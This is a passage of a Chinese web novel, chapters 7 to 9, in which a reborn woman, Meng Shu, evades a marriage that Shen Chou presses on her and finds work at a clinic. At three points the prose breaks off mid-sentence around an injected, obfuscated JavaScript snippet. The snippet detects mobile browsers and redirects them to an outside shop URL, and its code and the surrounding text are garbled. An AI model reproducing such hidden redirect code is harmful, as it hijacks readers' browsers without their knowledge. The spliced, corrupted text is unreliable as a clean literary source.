男人徐徐朝她而来,分明举止有礼,温文儒雅,可他每一步靠近都像带着无形的威压,令孟舒周身紧绷。 “孟姑娘没有,在下倒是有。” 他在她跟前停下脚步。 “三日前,姑娘走得匆忙,遗落了一物。” 他平静地伸出掩在袖中的手,缓缓展开,“在下是来将它归还给姑娘的……” 7. 第 7 章 看着那碧绿通透,水色极好的玉簪,孟舒如轰雷掣电般脑中一片空白。 那的确是她的东西,可她早忘了,三年前,去参加四姑娘沈琏的及笄礼时,她戴了这支发簪,更别提察觉遗落一事。 而今沈筹拿着这只玉簪,以如此笃定的语气说要归还于她,莫不是那晚看到了她的脸。 夫妻三年,孟舒对沈筹好歹也是有几分了解,明白若非有八九分的把握,他绝不会冒冒然寻到她跟前。 所以今日相遇,并非偶然,而是他特意等在这里。 孟舒本以为万无一失,不想竟还是出现了意外,她几乎控制不住指尖的颤意,然沉默少顷,她将手攥紧成拳,抬眸面露困惑,“三爷弄错了,这并非我的发簪。” 沈筹剑眉微蹙,那双漆黑如墨的眼眸锐利如鹰,似乎要将眼前人彻底看穿,他沉默须臾,“两年前,三叔从云南永昌府而来的玉石商人手中购得一价值不菲的翡翠石料,打磨成一对玉镯和一支玉簪,送给了祖母,而一月前,在你来沈家后,祖母将那支玉簪给了你。” 孟舒凝视着那翡翠玉簪,镇定自若,“老夫人的确送给我一支玉簪,不过并非这一支,老夫人送我的,而今正在我屋内好生放着呢,至于这一支,想是另有主人。” 孟舒看似淡然,可一颗心几乎快从嗓子眼跳出来,可她知道,不管沈筹如何确信那晚的人是她,她都不能认,认了便等于承认那晚两人行了亲密之事。 一切只怕又要回到前世那般。 绝不可以。 此言一出,面前的男人一时没了动静,孟舒以为他是放弃了,正准备告辞离开,却听一声似有若无的叹息在耳畔响起。 “那晚的事,我会对你负责,毕竟女子的清白最为要紧,我会禀明祖母,尽快将你明媒正娶,迎进沈家大门。” 听得他要禀明沈老太太,孟舒猛然一惊,抬眸朝沈筹看去。 沈筹似是看出她的心思,继续道:“你放心,我不会将那夜的事告诉任何人,我会寻个方士,言你我八字相合,能令我逢凶化吉,祖母和母亲便不会反对。” 听着他薄唇开阖一字一句平静地说出这些话,孟舒却像在寒冬腊月被人兜头浇了一盆凉水,彻骨的冷意一点点渗透到四肢百骸。 他说得那般轻巧。 且早已想好如何在不泄露那晚之事的前提下,让众人得以接受她,娶她进门。 可他兀自安排好了一切,却唯独没有问过,她愿不愿意。 她惊惧地往后退了一步。 不,她不愿意! 假山后似乎传来什么动静,孟舒心下一慌,唯恐被人瞧见她和沈筹单独相处。 “我瞧着,三爷像是吃醉了酒,才说了如许多胡话,三爷还是早些回去吧,孟舒告辞。” 她福了福身,旋即快步朝碧落小筑而去。 看着那个仓皇离开的背影,沈筹眸色愈发沉了,他伫立许久,方才出了园子,去了前院慧德堂。 安福见主子回来,上前问晚饭要吃些什么,沈筹神色淡淡,只道都成。 安福是打小跟着沈筹的,虽自家主子向来喜怒不形于色,但他也看得出这会儿主子心绪不佳。 他虽从不多话,却也忍不住在心下琢磨缘由,思来想去,觉得只可能是因着那位三个多月前带着母亲寻到沈家门前的孟姑娘。 不知为何,未入仕前只关心课业,而今只关心朝政的他家三爷,这几日却命他暗中盯着那位孟姑娘的动向,小半个时辰前,三爷自公廨下值回府,甫一听闻那位孟姑娘从外头买药回来了,竟一言不发,蓦然起身阔步出了慧德堂。 适才,难道是去寻那位孟姑娘了。 这么多年,他家三爷就是对蒋姑娘也从未这般主动过。 莫不是,铁树开花了? 这种想法甫一冒出来,安福便忍不住笑着在心下摇了摇头。 怎的可能。 那位孟姑娘对人倒是和善,但到底是乡下来的姑娘,大字不识的,还生得黑瘦,他家三爷放着京城那么多才貌双全的贵女不要,怎可能看中那模样儿的。 府里都说这孟姑娘要嫁给五爷,三爷向来关心底下这些弟妹,替弟弟留意着他未来妻子的品性也不是不可能。 安福越想越觉得这个解释合理,挑了挑眉,便快步往大厨房叫晚饭去了。 慧德堂内,沈筹立于书案前,用指腹轻轻摩挲着那支触手温润的翡翠玉簪,烛光映照下,恍惚间,那浓重的绿似乎化作了鲜艳刺目的红,火焰灼烧着皮肤的痛与烟尘滚滚的呛意仿佛是上一刻才发生之事。 他阖上双眼,甚至还清楚地记得他是如何冲进被火势吞没的疏影轩,抱起倒在床榻前的孟舒的,可才跑出卧房,明间被烧断的房梁赫然坠落向他砸来。 再一睁眼,他却在疏影轩那张床榻上迷迷糊糊醒了过来,屋外嘈杂,透过帐幔,他看到那个熟悉的背影慌慌张张将自己藏进了衣橱。 他当然知晓那是谁。 他竟回到了三年前! 虽有些荒谬,但沈筹不得不接受这个事实。 且回来这一日,恰还是他与孟舒被设计的那一晚。 看着床榻上的落红,那时的沈筹唯有一个念头,需尽快将孟舒迎娶入门。 故而第二日,他去了寿昌阁,便是意图告诉祖母,鹤栖观的道士给他算了一卦,言他命中之煞,可用八字相合之人化解,以此为娶孟舒做铺垫。 谁料,抵达祖母那厢时,孟舒也在,他以为她只是来拒绝和五弟的婚事,心道这样也好,却不想她竟直接请祖母取消当年祖父定下的婚约。 沈筹起初不明白,她拒绝的缘由是什么。 两人已有了夫妻之实,她除了嫁他难道还有旁的选择吗? 但很快,他便想通了,恐是因着他的态度。 孟舒一个姑娘家,自然无法开口说出那晚的事,她失了清白,又不确定他是否记得,肯不肯认,愿不愿娶她,她性子倔强,觉得与其被人嚼了舌根,干脆彻底断了此事,谁也不嫁。 故而他让安福观察着她的动向,寻着机会见她一面,想清清楚楚地告诉她,他愿为那晚的事负责。 谁料…… 她不肯认。 沈筹将玉簪攥在手心,沉下眼眸。 前世三年,他自觉和孟舒虽算不得浓情蜜意,但夫妻之间也是相敬如宾,琴瑟和鸣。 作为妻子,孟舒安守本分,从不逾矩,也还算不错。 他不懂,他既表明了态度,孟舒为何还会拒绝和逃避,分明这一世她顺利逃出了疏影轩,他也筹谋好了一切,外间再无法置喙她什么,她又因何而顾虑呢。 沈筹眼睫微垂,若有所思。 昏黄的烛光映照在他清冷的面容上,沉默许久后,沈筹将玉簪收入一雕花红木长匣中,伴着盒盖闭拢的清脆声响,那双漆黑的眼眸复归坚定从容。 虽尚有诸多疑窦,但应都是可解决之事。 毕竟无论如何,这一世他都没打算换一个妻子。 那厢,孟舒逃也似得回了碧落小筑,在西厢的床榻上坐了许久,仍懵怔着无法平复。 直到雪兰蹑手蹑脚地推门入内道“姑娘回来了”。 孟舒笑着点点头,看向搁在圆桌上的药,托她去耳房煎煮。 雪兰应声提了药,又言夫人还未用饭,在屋里等着姑娘呢。 听得这话,孟舒忙起身去了主屋。 邱雁娘见了女儿,这才笑着从食盒里取出饭菜,母女俩对坐用饭时,邱雁娘突然记起什么,道白日沈老太太院里的人来过,说让她明早去寿昌阁一趟。 孟舒立马意识到,应是为了沈拓那事,抬首见邱雁娘面露愁容,孟舒安慰道:“没事娘,我既心意已决,老夫人也逼不了我。” 然低下脑袋,将饭送进口中时,孟舒的神色却凝重了些。 自然不是因为沈拓,她只是没有想到,她与沈筹那事竟还未了结。 她知道沈筹愿意娶她的缘由,他自小由沈老太爷亲自教导,骨子里将礼法规矩看得很重,说到底不过是他作为男儿,既毁了她的清白,必须有所担当。 被逼无奈罢了。 为此甚至都能忍痛舍弃青梅竹马的蒋映薇。 可孟舒并不需他这般负责,她宁可那男人装聋作哑,这一世顺遂心意娶他爱慕的姑娘,也千万别再招惹她半分。 翌日早,孟舒草草用了饭,就去了沈老太太的寿昌阁。 沈老太太拉着她的手,说她还小,尚不急着成亲,不如等她娘眼睛好了再议此事。 孟舒心里明白,沈老太太还是不想取消那桩婚约,多是担忧一旦事儿传出去,旁人会觉得是沈家嫌弃她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423905|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿娶,落得个出尔反尔,背信弃义的恶名。 而今新帝登基不过一年,新旧臣僚为夺权明争暗斗,正是剑拔弩张的时候,沈家两位老爷和底下几位爷都在官场上,若教都察院或是六科给事中趁机拿住把柄,口诛笔伐,只怕招惹祸事。 孟舒犹疑半晌,点了点头,晓得不能再说拒绝的话。 毕竟老太太已然松了口 人,且她和她娘尚住在沈家,受着沈家的照拂,她娘的病也还得仰仗沈家,她若再拒绝,多少忘恩负义,不识抬举。 沈老太太留她说了好一会儿的话,又言在兵部任职的二老爷,大抵明日就要从西北巡边回来了,家里要替他接风洗尘,明晚在正厅摆了饭,让她和她娘也一道来。 孟舒恭敬应下,待回了碧落小筑,将此事告诉邱雁娘,邱雁娘摇头道:“娘看不见,用饭也不方便,不好让老夫人到时专门遣人照顾我的。你就推说我身子不爽利,便不去了。” 孟舒忍着心中酸涩低低道了声“好”,晓得这只是一部分缘由,其实她娘就是怕自己去了,让旁人笑话她,有个眼盲还毁了容的母亲,让她难堪。 第二日她稍稍拾掇了一番,穿上先前沈老太太命人给她缝制的新衣,因去的早,抵达正厅时,尚且无人,等了大抵一刻钟的功夫,才见沈大奶奶和沈瑶跟着大太太陈氏来了。 孟舒忙上前施礼,陈氏和颜悦色地同她寒暄了几句,面对前世这个对她冷眼嫌弃的婆婆,孟舒心下觉得怪异,但此时也有说不出的轻松。 她明白,前世陈氏厌恶她,并非因为她这个人,而是她低微的身份,她心目中的儿媳再怎么样也该与沈家门当户对才成。 毕竟大老爷去得早,陈氏膝下虽有二子二女,却只能将全部的希望都寄托在次子沈筹身上。 孟舒恭敬地应罢陈氏的话,又对着她身边二十出头,静娴如兰的年轻妇人颔首。 对方也柔笑着回应。 这是沈家大奶奶,也是孟舒前世的大嫂,孟舒对这位大嫂还是颇有好感的,前世她嫁给沈筹后,愿意亲近她,待她好的沈家人并不多,大奶奶杨氏便是其中之一。 杨氏出身不高,不过是京中六品小官家的庶女,之所以能嫁进沈家,只因沈家大爷沈翊出生时,陈氏难产,胎儿在腹中待得太久,便得了那痴病,到了年岁仍是懵懵懂懂,心性稚嫩,如孩童一般。 杨氏与其说是嫁进来做媳妇的,不如说是陈氏挑来照料沈翊的。 可即便如此,前世大太太陈氏对这个大儿媳也远远比对她满意,还将南院的大半中馈都交给了杨氏,孟舒记得,杨氏有回病得厉害,需得静休调养,提出让她这个弟媳帮着打理,陈氏闻言却只轻飘飘扫了她一眼,说这内务容不得错,最后还是交给了管事。 月洞门外传来笑声,二太太王氏紧随而至。 王氏育有一子二女,只比沈筹长了一岁的二爷沈曜眼下正带着妻儿在江西临江府做推官,并不在京,故而今日王氏只带了未出嫁的四姑娘沈琏和庶子沈拓。 人才进了院子,孟舒就听见一声兴冲冲的“舒姐姐”,一个晴蓝的身影快步迈上台阶,行至她跟前。 少年如日光般灿烂明媚,一双眼眸耀若繁星,他将偷藏于袖中之物拿出来,献宝般奉到她跟前,“这是我新做的雀儿,送给你。” 孟舒微愣了一下。 沈拓与她同岁,只比她小了几个月,可从见到她的第一面开始,便一直这般叫她“姐姐”。 孟舒很喜欢他,当然只是对弟弟的那种喜欢,喜欢他骨子里的单纯与善良。 她莞尔一笑,接过那只栩栩如生,还能通过底下机关控制翅膀煽动的木雀儿,真心夸赞道:“真精巧,多谢五爷。” 沈瑶看着眼热,在一旁抿嘴抱怨,“五哥哥当真偏心,这般有趣的小玩意儿只给舒姐姐做,都想不起我们这些妹妹的。” 沈拓赧赧红了脸,见孟舒摆弄着木雀儿似乎很喜欢,高兴之下,竟是脱口道:“舒姐姐,四妹妹说祖母有意促成我们的婚事,那你准备何时嫁给我?” 孟舒动作一顿,双眸微张,抬首惊诧地看着他。 她没想到沈拓会问得这般直白,张了张嘴,一时尴尬地不知如何作答,无措间,却越过沈拓,瞥见一个熟悉的身影立于院中,那双漆黑深邃的眼眸微眯,正死死锁在她的身上。 8. 第 8 章 孟舒忙不迭挪开目光。 虽已与沈筹没了关系,但在她那前世夫君面前被他的弟弟说了这话,心下难免觉得怪异。 得知是沈琏同沈拓透了那事,二太太王氏横了身侧的女儿一眼,又厉声对着沈拓道:“拓儿,不得无理!” 面对嫡母的训斥,沈拓到底不敢顶撞,想反驳,但还是委屈地闭上了嘴。 孟舒想了想,还是觉得说清楚为好。 “五爷误会了,此事是子虚乌有。”她定定道,“想来四姑娘也只是道听途说罢了。” 沈拓闻言面露错愕,“舒姐姐,你是不是……不愿嫁我?” 孟舒拒了那桩婚事之事,在场有几人是知晓的,此话一出,厅中气氛一下变得微妙起来。 但须臾,一道笑声打破寂静,“这般热闹,倒是我来迟了。” 三太太连氏带着一儿一女而来,入了厅,忙让幼子同各位长辈兄姐见安。 沈琪这个沈家小六爷虽才十一,但透着超乎年岁的沉稳,行礼问安得体大方,却在转向沈筹时,眸光一亮,唤着“三哥”的声儿带着几分轻快。 沈筹轻轻同他点了点头。 而三姑娘沈玥始终安安静静跟在弟弟后头福礼。 孟舒印象里,沈玥似乎一直如此,不惹事,不多话,安静娴雅,平易近人,却似乎跟谁都不交心,可前世,她却是几个妹妹里,从始至今唯一真心对着她笑,每每见面恭敬唤她“三嫂”的。 大太太问起三老爷来,三太太只笑着说公廨有些要务,一会儿便过来。 厅中众人笑着应和,但心下都跟明镜儿似的,三老爷靠着父荫在朝中领了个闲职,哪里会有什么要紧事,只怕又得了风声,急吼吼去搜罗那些书画古董,文房雅玩去了。 都是吞银子的嗜好,若非三太太头脑活,会做生意,将江南娘家的几间嫁妆铺子经营得风生水起,就凭三老爷那微薄的俸禄,三房的家业怕是早被败光了。 不多时,二老爷扶着老太太也到了,沈老太太遍看一眼,不见三老爷,蹙眉正想问询,就见三老爷满头大汗赶了回来,连连告罪,说有要事给耽搁了。 沈老太太心知肚明,脸色不大好看,但毕竟是二老爷的接风宴,不好让场面弄得太难看,她到底没戳破,只凉声让众人落座。 孟舒作为沈家的客,被沈老太太叫坐在了身侧,却是从头到尾低垂着脑袋,如坐针毡。 一道灼热的目光始终落在她身上,令她不敢抬首,既怕与沈拓对视,也怕看见她不想看见的人。 饭后,众人吃茶消食,说着家常,又坐了一炷香的工夫,老太太以疲累为由起身离开。 临走前,她推开二老爷要扶她的手,“让黄妈妈扶我回去便好,只我先前同你说的话,你可都记住了?” 二老爷面色微僵,恭敬道:“儿子记住了。” 众人不知这母子二人在打什么哑迷,只二太太垂了垂眼眸,倒像是猜到了几分。 沈老太太走后,众人也各自回了住处,沈拓原跟着三太太出了门,但走了一段却以落了书在知新斋为由,又飞快折返了回去。 他欲向孟舒问个清楚。 不想行至一拐角处,却听得背后传来一声“五弟”。 转头见站在不远处着湛蓝长袍,清隽疏朗,立如修竹的身影,沈拓迟疑了片刻,到底还是不情不愿地走过去,唤了声“三哥”。 沈筹低低“嗯”了一声,肃色道:“上回我去知新斋,柳先生同我说,你近日愈发懈怠了,你已有十七,却还只是个童生,便是六弟,也已过了县试,难不成你真想一辈子碌碌无为吗?” 沈拓听得科举二字便头疼,“三哥,可我真不是读书的料,你让我捣鼓捣鼓木头,做些机关我是愿意的,那些圣贤书,我是一个字都读不进去。” 言至此,沈拓眸光黯淡下来,“三哥,你说,舒姐姐会不会也是嫌弃我没有出息……” 他苦恼道:“我与舒姐姐的事,想必三哥也听说了吧,当年祖父与舒姐姐的祖父有过约定,而今祖母想要兑现这份婚约,舒姐姐能嫁的不就只有我吗,可她为何要说此事是子虚乌有呢……” 沈筹剑眉微蹙,嗓音悄然沉了几分。 “你为何肯定她只能嫁你,兴许……还有旁的人选……” “怎会有旁人!”沈拓丝毫未察觉沈筹的异样,斩钉截铁道,“祖母再怎么样都不可能让沈家旁支娶舒姐姐啊!” 说罢,自言自语起来,“定是我还不够诚心,没让舒姐姐了解我的心意,我虽将来做不了大官,但定会对她很好,对她娘也很好,大不了往后我跟三婶学开铺子,用手艺挣钱,给她买很多好吃的和漂亮衣裳……” 沈筹薄唇微抿,“你就这般喜欢孟姑娘,非她不可吗?” “自然。”沈拓重重点头,“三哥,其实我都知道的,家里人都觉我不思进取,父亲为此责打我,姨娘也曾偷偷烧了我的图纸和工具,妹妹们愿意同我玩,不过因我会给她们做小玩意儿,可只有舒姐姐真心欣赏我,她曾拿着我做的小船,说这若造成大船,定能乘风破浪,气势雄壮地在四海中遨游。我很喜欢舒姐姐,也非她不娶,难道三哥就没有和我一样梦寐以求且势在必得的东西吗?” 沈筹沉默片刻,淡声道:“算……有吧。” “那三哥必然懂我。”沈拓抖擞了精神,“无论如何,我定会尽力让舒姐姐回心转意。所谓精诚所至金石为开,祖母又是赞同这门婚事的,舒姐姐那么喜欢我做的小玩意儿,久而久之,怎就不会喜欢上我呢。” 在听得那“喜欢”二字时,沈筹眉头不显得蹙了蹙,他没有应答,看着眼前人信誓旦旦的模样,面上无波无澜,然掩在袖中的手却在不自觉间微微屈拢。 两日后,碧落小筑。 孟舒收拾着桌上残留的药材时,就听雪兰扣门道:“姑娘,五爷又来了,说要见见姑娘您……” 孟舒闻言无奈地低叹了口气,“你就说我身子不适,不便出去见客。” 雪兰应声,想是去外头回绝,没一会儿,就听院内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423906|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪梅的声音响起。 “而今这沈家上上下下谁不知道她快成五奶奶了,这会儿做这般姿态,是欲拒还迎,还是故意拿乔?” 雪兰忙用嘘声制止,“姐姐怎能这般说姑娘。” “我说她怎么了。”雪梅积攒了一肚子怨气,“被派来伺候她本就是我倒霉,将来她嫁去西院,我是断断不可能跟去的,跟着这样的主子,没才貌没家世,又拿不出嫁妆钱,更是没钱打赏下人,连邹姨娘都瞧不上她,能有什么前程。” 雪梅在雪兰脑袋上一戳,“就是你这个蠢的,看在我们是同年进的府,好生劝你一句,不如赶紧想法子打点打点,给自己谋个好去处,别在这儿浪费时间。” 外头的声响,孟舒自然听见了,可她垂了垂眼睫,仍是神色如常。 昨日沈拓来时,她已然说得明白,她并不打算履行祖辈的那桩婚约,可沈拓就像是个执拗的孩子,怎都不肯死心。 她当然知晓沈拓喜欢她,可那种喜欢应非男女之情,不过是沈拓在长期否定下自她这厢得了认可,才不免对她生了好感。 他还年少,待将来见了天地广阔,自会明白她算不得什么。 她打开桌上的小瓷罐嗅了嗅,又挖出一些制好的玉颜膏在手上抹开。 上回去药铺,回来时她顺道买了些便宜的小瓷罐子,罐子里能放的玉颜膏不算多,也就能抹个十来回的,但也足够那些个面脂铺子试用了。 她拿起那个最大的瓷罐,径直去了邱雁娘的屋子。 邱雁娘眼睛不方便,这耳朵自是比常人更灵些,雪梅那话她自也听了去。 孟舒推门见她娘愁眉紧锁地坐在床榻上,也晓得她听见了,但她假作不知,在邱雁娘身侧坐下,打开瓷罐,凑到她娘鼻下。 “好香啊,这是什么?”邱雁娘问道。 “这是……老夫人给女儿的香膏。”孟舒将瓷罐塞到邱雁娘手中,她自然不能透露是给她娘治脸的。 “老夫人给的定是好东西,你留着自个儿用。”邱雁娘摸索着拉住孟舒的手,想重新塞回去。 孟舒按住她,“老夫人考虑周全,不但给了女儿,给娘也备了一份,这是娘的,您试试。” “不必了。”邱雁娘笑着摇了摇头,“这也给你,娘都人老珠黄了,无需抹这些。” “娘哪里老了,娘还能嫁人呢。” 孟舒原只是随口调侃,不想却见邱雁娘唇间的笑容霎时敛了去。 孟舒知道她娘在想什么,她默了默,试探着道:“这么多年了,娘你还在想着爹吗?” 她没有见过她爹,幼时被同村的孩子欺负,说是没爹的孩子时,她也曾哭着跑到娘的怀里问她爹去了哪儿,可再大些,她晓得这是娘、阿爷、阿奶的伤心事,便不问了。 见她娘落寞地垂眸不语,孟舒忍不住道:“娘,您有没有想过,爹或许没有死,只是……” 她话未说完,邱雁娘却陡然激动起来,她胡乱抓住女儿的手臂,不住地道:“不会的,你爹他不会的……” 9. 第 9 章 孟舒见状忙安抚,“女儿只是随口一说,娘莫放在心上。” 邱雁娘也意识到自己的失态,她松开女儿,待稍稍平复了些,长叹道:“皎皎,娘鲜少同你提起你爹,是因为提了娘心里便难受,但你爹他真的是个很好的人,他温良孝顺,对娘也好,从不嫌弃娘大字不识,你在娘肚子里的时候,娘双腿浮肿,难受得睡不着觉,他便整宿整宿给娘按着,也不顾白日还要温书备考,你的名字也是你爹取的,之所以取一个舒字,是他希望你能一世平安顺遂,怡然自得,将日子过得舒心自在。” 她的名字原是这般含义。 孟舒还是头一回听说,她忽而为自己适才说的那番话后悔。 她没有见过她爹,对那个毫无印象的陌生人便难免生出些不堪的猜测,什么鱼跃龙门抛却糟糠之妻,可再细想想,她阿爷阿奶这般好的人,又怎会培养出那样的儿子呢。 且前世三年,她身处京中,也曾暗中托人打听过可有叫孟景珩的官吏,倒真有同名的,可那人年逾半百,怎也不可能是她爹。 当年,她爹久久不归,阿爷曾亲自去州府的贡院寻过,但贡院的人却说他爹并未赴考。 阿爷后也报过官,可官府接了案子,知晓这寻人同大海捞针,便将案卷一丢,哪真会理会这档子事。 听说那些年,汝宁及周遭几个县连着三年大旱,田地颗粒无收,朝廷下发的赈灾粮被层层克扣,百姓食不果腹,哗变起事者,落草为寇者,烧杀劫掠者众,很不太平,或许正如阿爷阿奶和她娘猜测的那般,她爹兴许是在赶考途中遇了劫匪,不幸死于非命,埋尸荒野。 这样的事在当时并不算稀奇。 孟舒不再继续提她爹的事,而是转了话题,笑着自瓷罐里挖出一点玉颜膏,抹在她娘脸上。 待用过午饭,孟舒拿了两三个装着玉颜膏的小瓷罐装在荷包里,便从后门出了沈府。 她不是沈家的姑娘,自不必守不得轻易出府的规矩,看后门的下人先头收了她一些好处,便也识趣地没多问她的去向。 孟舒径直去了城西的百草堂,刘大夫远远见了她,忙起身将她领进了后院。 “我们东家在里头等着姑娘呢。” 这医馆是前铺后宅,孟舒跟着刘大夫进了后头堂屋,就见上首主位上坐着一长袍老者,比季大夫年轻,也更精神矍铄,慈眉善目些。 刘大夫介绍道:“姑娘,这便是咱们医馆的东家,姓周,也是位名医。” “这招笑的话便不必说了,天子脚下,皆是能人,老朽实当不起名医二字。”周子贺笑意盈盈道,“便是你这丫头想来百草堂帮忙?” “是。”孟舒恭敬答,“晚辈略略懂些医术,若医馆中来了女患,有不便之处,也能帮着看看。” 周子贺颔首,对这话似乎颇为赞同,世俗如此,注定女子看诊比男子困难太多,不然他也不会考虑孟舒的提议,他思量半晌道:“你既说自己懂些医术,那我便考考你。” 周子贺看向刘大夫,刘大夫会意,自袖中取出一张纸递给孟舒。 “通过这药方,你可能猜出这是针对何疾?” 孟舒双手接过,凝神看了片刻,抬眸缓缓道:“这上头的方子皆有益气健脾,和胃降逆的效用,但其中的半夏不但特意控制了用量,还需用姜汁炮制,降低毒性,说明服用之人极为特殊,晚辈斗胆猜测,此多为孕妇止吐之方。” 周子贺诧异地与刘大夫对视一眼,眼眸微微发亮,笑意不由浓了一些,“丫头,你叫什么名字?多大了?” “晚辈邱宁,今岁十七了。”孟舒道。 “你这医术,是何人教你的?” “没人教,是我自个儿看书学的。” 这并非撒谎,前世季大夫教她的时间不长,她也不敢妄称是他的弟子,她那些医术,多是前世从沈筹慧德堂内的那些医书上学的。 从古今圣贤到天文水利农耕,慧德堂成排的博古架上收藏了各类书籍,自然也包括医书。 前世,孟舒在慧德堂寻找字帖时,偶然发现一本《神农本草经》,原是出于兴趣翻看,不想自此一发不可收拾,那时,只消沈筹不在,她最喜欢的便是待在慧德堂翻阅医书。 一本接一本,慧德堂的医书多得就像是看不完一般。 可书看得再多,也终究是纸上谈兵,前世孟舒揣着一肚子药理,但最多也只敢给自己和雪兰开些药吃。 周子贺点了点头,却是审视她半晌,又问:“听你口音,应不是京城人士,而今住在何处啊,家中可知你出来找活计?” 孟舒知晓周大夫的疑虑,便是高门大户的女子也不一定读书识字,更何况学医,而她不仅识字,还明显懂些药理,加之长的不像大户人家的姑娘,穿的却不是粗布麻衣,全身上下处处透露出可疑。 她想了想,坦荡荡看过去,“不瞒东家,晚辈早年丧父,因寡母得病,这才自汝宁来京城投奔远亲,但毕竟寄人篱下,手头拮据,晚辈这才想着到医馆帮忙,也好负担得起母亲的药钱。” 周子贺沉默片刻,“那丫头,你要多少工钱?” “不要工钱。”孟舒道,“只是晚辈常需为母亲抓药,顺道卖些自制的膏子贴补家用,希望这药钱周大夫能看着给晚辈便宜些便足够了,晚辈只是想向您学学如何替病人问诊看病,将来就算带着母亲回了家乡,也好有个谋生的本事。” 这也是孟舒给自己寻的后路,若季大夫那法子不通,那她将来免不了态度强硬地离开沈家,有过在京城医馆帮忙的经历,届时想回汝宁后寻个活计也便宜许多,加上寄卖玉颜膏赚的钱,她和她娘的日子就不会像从前那么艰难。 “只是……”孟舒顿了顿道,“晚辈需照料母亲,何况寄住在远亲家中,难诸事顺遂心意,恐无法日日来此……” 言至此,她有些忧虑地看过去,毕竟像她这般身份成迷,透出几分古怪,甚至无法每天来干活的,换作她是周大夫,都不会轻易雇用。 然出乎孟舒意料的是,周子贺却是爽快道:“好,往后你想何时来便何时来,我不拘着你,药铺掌柜那儿,我也会同他说一声,你抓的药,都以本价卖给你。” 孟舒愣了一愣,她本不抱太大希望,不想周大夫答应得如此干脆。 她欣喜不已,忙起身道谢,郑重施了一礼。 离开百草堂前,她又买了些制玉颜膏所需的药材,去了就近的两家面脂铺子,拿出自己做好的玉颜膏让他们尝试,说若觉不错,待她之后来再商量价钱。 两家掌柜起先都不要这不明不白的东西,但也闻得出这里头用的药材不凡,加之听得试用不需银两,便都收下了。 已是深秋,天朗气清,不冷不热的最是宜人,出了面脂铺子,孟舒抬首望着路边落叶满地的银杏,分明是萧瑟之景,却让她心中格外平静安宁。 且不管将来她是怎么离开的沈家,是跟着季大夫还是带着母亲回汝宁,她想她定都会比前世过得更好。 那厢,沈府。 沈二老爷自公廨回来,甫一下了轿,就听得一声马嘶,来人在大门前勒马而止,将缰绳交给小厮,旋即上前恭恭敬敬行礼,唤了声“二叔”。 二老爷颔首,“三哥儿今日倒是回来得早,听你母亲说,你甚是勤勉,常是处理公务到近戌时才回来。” “翰林院近日不算忙碌,侄儿便想着早些回来陪陪母亲。” 叔侄两人并肩入了府门,谈论起近日一些朝政之事来。 谈到兴起之际,二老爷却是一声长叹,“几个孩子里,不怪你祖父生前最是喜欢你,论悟性才学,便数你最佳。曜儿资质平庸,能做成这推官我已是心满意足,将来有了好的机遇指不定还能往上爬一爬,就是拓儿那孩子,自小便令我操心。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423907|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >言至此,二老爷又是一声叹息,心中有苦难言。 那日接风宴前,他去寿昌阁拜见母亲,却被好生斥责了一番,道他内帷不修,竟让个妾室在后宅作威作福。 老太太又道将孟舒许配给沈拓一事她心意已决,让他回去好生敲打敲打邹姨娘,若她再不安分,便就此捆了送去庄上或让牙人远远发卖了。 二老爷承认自己对邹姨娘向来宠惯,因着与心高气傲的二太太不同,邹姨娘姿容更甚,对他又温声细语,百依百顺,劳累了一日回来,纵然看着心里也熨帖。 可母亲发了话,他也不能置之不理,不想才训诫了几句,邹姨娘便娇滴滴哭起来,话里话外说自己命不好,就算真的不愿孟舒嫁进来,也根本做不了主,拓哥儿就跟着了魔似的,天天往东院跑,热脸贴人冷屁股,都快成了整个沈府的笑话。 二老爷何尝不苦恼,毕竟这回可不是他们二房不想娶,而是人孟舒根本不愿意嫁。 他这庶子还巴巴上赶着去求人,可将他这老脸彻底丢尽了。 沈筹看了二老爷一眼,笑道:“二叔担忧的,无非是五弟的前程,依侄儿看,不如将五弟送去书院如何?” “书院?”二老爷轻哂一声,“我倒是愿意,可就你五弟那德行,哪个书院肯收他的。” 沈筹闻言不紧不慢道:“五弟不爱读书,但因材施教也无不可,苍山书院恰有一位严先生擅机关术,以五弟的天赋被严先生收徒倒也不难,而今陛下御宇,正着力整顿三大营,且尤为重视神机营,而替神机营研制火器的军器局正暗中与兵仗局较劲,急需相应的人才,兴许这便是五弟的机会。” 他顿了顿道:“苍山书院的山长是侄儿的故交,侄儿还勉强说得上几句话,二叔若觉可,侄儿这便写信命人送去。” 二老爷喜形于色,“好,自然好,此番劳烦你了。” 沈筹恭谦道:“都是一家人,二叔客气了。” 二老爷点点头,对眼前这个侄儿越发满意起来,不但自个儿上进,还懂得一荣俱荣,一损俱损的道理,不忘帮衬家中其他兄弟。 